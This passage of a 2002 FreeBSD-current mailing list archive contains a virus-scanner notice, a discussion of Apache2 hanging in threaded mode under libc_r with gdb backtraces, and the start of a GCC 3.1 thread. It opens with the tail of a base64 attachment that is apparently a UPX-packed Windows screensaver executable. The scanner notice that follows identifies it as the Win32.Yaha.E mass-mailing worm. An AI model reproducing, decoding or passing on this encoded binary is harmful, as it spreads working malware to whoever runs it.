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
jb3nC+vzc/BPANB+vxtQqA21JwkAAAAAAAAASP8AAAAAAAAAAABgvgDwQACNvgAg//9Xg83/6xCQ
kJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23Pk
McmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu
/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC
g8IEiQeDxwSD6QR38QHP6Uz///9eife5PAEAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp
+IDr6AHwiQeDxwWJ2OLZjb4AIAEAiwcJwHRFi18EjYQwGEcBAAHzUIPHCP+WuEcBAJWKB0cIwHTc
ifl5Bw+3B0dQR7lXSPKuVf+WvEcBAAnAdAeJA4PDBOvY/5bARwEAYek7Hf//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA
AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA
KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//
AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA
AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA
+qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA
AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq
qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA
APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6
qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA
AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/
/wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w
B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA
XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA
AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy
AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA
dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz
AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA
aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu
AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA
AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy
AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A
ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO
AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA
IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy
AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE
AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ
VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y
AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB
AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO
RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j
ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy
bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAqy45E23KA808OnZ574zMUDFlOKe+byhLw9UzlPYVv9PLFwSzSx5G8YarsQGrsxbPt+Jp67hR
k5d+6Oj3qKog8btz+Z3KV2r2mnmlar+YPQpqyDzNpXks2EtlXiHRrZEK0sQWuw9e44eaNCg/xl41
galwCSk6W382zEBmrlp71FaYaBONoyBxLJs3zVPmmZiW9jEq7NiSkpWiO2KwgokTX6h8hs6lwBpt
zKUdEcS5KLjqzn2/g+l9GKDa09d0o8ZelqMN49rWTrt5TlIxpdb5F1vw9MPKcA6bf0XrEabCo8ky
cNaEr/boijWokwGC2Y819gV3drh8AiRZQbECTCHl5l0UHQUfEeJLQBjyUr44qTip92DcPHO3liyh
L4czHBoC4XPYMpcwzWRla0FGdlOdZ3mxPE+XENezHIERN7la+DcHI+gSTptuLz5wMKNhEcgDeYBJ
5aZSRnFVDvPt09CrxreFD3sM69PdiI5HpLVBGzLTyqbuHD9Yn0YPUBkocOH3XKq6ewbjluo409W/
PzOyPM1sRF4MSNHjS+RyhaeUUtYbelKnTYWBgk0vIiOVOh0NxPnweREShR/p5ISiRb1WiH1IFihe
6LrgsCc/bqT3R+gu81sPq0EABsvpdx9MqFsj9XcXhDKVzjSv6gmOGlxtz6JT+WqX98Ajgp4XZZ0/
V6kk20e1uACcqIWiPiIrTCHWzfI3YnR641AHTB4KvreBMa0qT0MTNlhzdOSEFrMtUOhMaB4HXynO
DRsZAmzVb3ecervVEicgc5gCQzfUGX4iChTEtizxujvnw8w5G5UMLAtExlaYhxYFLarPrU9v6lMk
Firo2HEPNIYn7stFZ1zfLisJDK1InBI8C2kF7jdlrzA1P4jP2FUdWlzH8I4KVyUnMxYkuxVvVt3v
tDd4qyS0BaRU4g2ev7wHojRtFBdgA6ZzHJmcG3yp5hb0BkyeWdKJoZWeObr1OM5l3xY/ouTNi0oh
I55N5GB2WTcuQW7VMmpp48U74LngVx41ZzlH
--secxrvx--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  4:39:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.sandvine.com (sandvine.com [199.243.201.138])
	by hub.freebsd.org (Postfix) with ESMTP id EE8FC37B48D
	for <freebsd-current@FreeBSD.org>; Fri, 21 Jun 2002 04:38:01 -0700 (PDT)
Received: by mail.sandvine.com with Internet Mail Service (5.5.2653.19)
	id <NGG7SRN3>; Fri, 21 Jun 2002 07:38:00 -0400
Message-ID: <FE045D4D9F7AED4CBFF1B3B813C8533719B235@mail.sandvine.com>
From: ANTIGEN_MAIL <ANTIGEN_MAIL@SANDVINE.com>
To: "'freebsd-current@FreeBSD.org'" <freebsd-current@FreeBSD.org>
Subject: Antigen Notification:Antigen found VIRUS= Win32.Yaha.E (CA(Vet),C
	A(InoculateIT)) virus
Date: Fri, 21 Jun 2002 07:37:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Antigen for Exchange found checkfriends.scr infected with VIRUS=
Win32.Yaha.E (CA(Vet),CA(InoculateIT)) virus.
The file is currently Removed.  The message, "Fw: charming Love to ur lovers
!", was
sent from cassy_qt  and was discovered in IMC Queues\Inbound
located at SANDVINE/SANDVINE/MAIL.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  4:39:57 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP
	id 44F4A37B48E; Fri, 21 Jun 2002 04:38:15 -0700 (PDT)
Received: from localhost (eischen@localhost)
	by mail.pcnet.com (8.12.3/8.12.1) with ESMTP id g5LBcEdh018581;
	Fri, 21 Jun 2002 07:38:14 -0400 (EDT)
Date: Fri, 21 Jun 2002 07:38:14 -0400 (EDT)
From: Daniel Eischen <eischen@pcnet1.pcnet.com>
To: Martin Blapp <mb@imp.ch>
Cc: Anders Nordby <anders@FreeBSD.org>, current@FreeBSD.org,
	deischen@FreeBSD.org
Subject: Re: (forw) Apache2 in threaded mode for FreeBSD..
In-Reply-To: <20020621124905.E550-100000@levais.imp.ch>
Message-ID: <Pine.GSO.4.10.10206210734570.18115-100000@pcnet1.pcnet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, 21 Jun 2002, Martin Blapp wrote:
> 
> Hi Daniel,
> 
> >
> > Just spotted this on the Apache development mailinglist. It seems they
> > need our help to fix threads issues, but have not succeeded in that and
> > gave up.. :/
> >
> > Is there anything we can get done to help make Apache 2 on FreeBSD work
> > well in threaded/perchild mode?
> 
> Could you have a look into that ? Apache people told me that
> this is a bug in FreeBSD libc_r.

Uhmm, this really helps narrow things down ;-)

If someone can send me a simple test program to demonstrate the problem,
I can help.

-- 
Dan Eischen


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  5:23:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id 09CE737B406; Fri, 21 Jun 2002 05:23:26 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5LCNNb40950;
	Fri, 21 Jun 2002 14:23:23 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5LCNM9014194959;
	Fri, 21 Jun 2002 14:23:22 +0200 (MES)
Date: Fri, 21 Jun 2002 14:25:18 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Anders Nordby <anders@FreeBSD.org>, <current@FreeBSD.org>,
	<deischen@FreeBSD.org>
Cc: Daniel Eischen <eischen@pcnet1.pcnet.com>
Subject: Re: Apache2 in threaded mode for FreeBSD ...
Message-ID: <20020621141713.O550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi Daniel,

Port is /usr/ports/www/apache2, compiled with:

make WITH_MPM=perchild FORCE_THREADING_MPM=yes install

Note that this problem happens with ALL threaded MPM's.

bash-2.05a# ps -aux | grep httpd
root   96690  0.0  0.4  5800 3944  ??  Ss    2:13PM   0:00.01 httpd
www    96691  0.0  0.4  5800 3980  ??  S     2:13PM   0:00.00 httpd

bash-2.05a# telnet localhost 80
Trying ::1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0

and there it hangs.

Gdb only shows:

PID 96690

#0  0x282b2808 in _thread_sys_poll () from /usr/lib/libc_r.so.4
#1  0x282b177e in thread_kern_poll (wait_reqd=2)
    at /usr/src/lib/libc_r/uthread/uthread_kern.c:829
#2  0x282b0dea in _thread_kern_scheduler ()
    at /usr/src/lib/libc_r/uthread/uthread_kern.c:482
#3  0x0 in ?? ()

PID 96691

#0  0x282b2808 in _thread_sys_poll () from /usr/lib/libc_r.so.4
#1  0x282b177e in thread_kern_poll (wait_reqd=2) at
/usr/src/lib/libc_r/uthread/uthread_kern.c:829
#2  0x282b0dea in _thread_kern_scheduler () at
/usr/src/lib/libc_r/uthread/uthread_kern.c:482
#3  0x0 in ?? ()

Martin

PS: I seem to get the same deadlock if in OpenOffice if I open a
website and try to edit it ...

Martin

Martin Blapp, <mb@imp.ch> <mbr@FreeBSD.org>
------------------------------------------------------------------
ImproWare AG, UNIXSP & ISP, Zurlindenstrasse 29, 4133 Pratteln, CH
Phone: +41 061 826 93 00: +41 61 826 93 01
PGP: <finger -l mbr@freebsd.org>
PGP Fingerprint: B434 53FC C87C FE7B 0A18 B84C 8686 EF22 D300 551E
------------------------------------------------------------------




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  5:34:11 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by hub.freebsd.org (Postfix) with ESMTP id D353237B406
	for <freebsd-current@freebsd.org>; Fri, 21 Jun 2002 05:33:58 -0700 (PDT)
Received: from fwd06.sul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 17LNbx-0008NH-01; Fri, 21 Jun 2002 14:33:57 +0200
Received: from Gatekeeper.FreeBSD.org (520047440004-0001@[217.227.247.102]) by fmrl06.sul.t-online.com
	with esmtp id 17LNbs-1shbtoC; Fri, 21 Jun 2002 14:33:52 +0200
Received: from StefanEsser.FreeBSD.org (StefanEsser [10.0.0.1])
	by Gatekeeper.FreeBSD.org (Postfix) with ESMTP
	id 0E4745F17; Fri, 21 Jun 2002 14:33:52 +0200 (CEST)
Received: by StefanEsser.FreeBSD.org (Postfix, from userid 200)
	id C463E1E21; Fri, 21 Jun 2002 14:33:51 +0200 (CEST)
Date: Fri, 21 Jun 2002 14:33:51 +0200
From: Stefan Esser <se@freebsd.org>
To: Kris Kennaway <kris@obsecurity.org>
Cc: Yamada Ken Takeshi <ken@tydfam.jp>, freebsd-current@FreeBSD.org
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020621123351.GA68390@StefanEsser.FreeBSD.org>
Reply-To: Stefan Esser <se@freebsd.org>
References: <20020608.171312.730576735.ken@tydfam.jp> <20020608013938.B5755@xor.obsecurity.org> <20020608092926.GA2635@StefanEsser.FreeBSD.org> <20020616023918.C12427@xor.obsecurity.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="cNdxnHkX5QqsyA0e"
Content-Disposition: inline
In-Reply-To: <20020616023918.C12427@xor.obsecurity.org>
User-Agent: Mutt/1.5.1i
X-Sender: 520047440004-0001@t-dialin.net
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
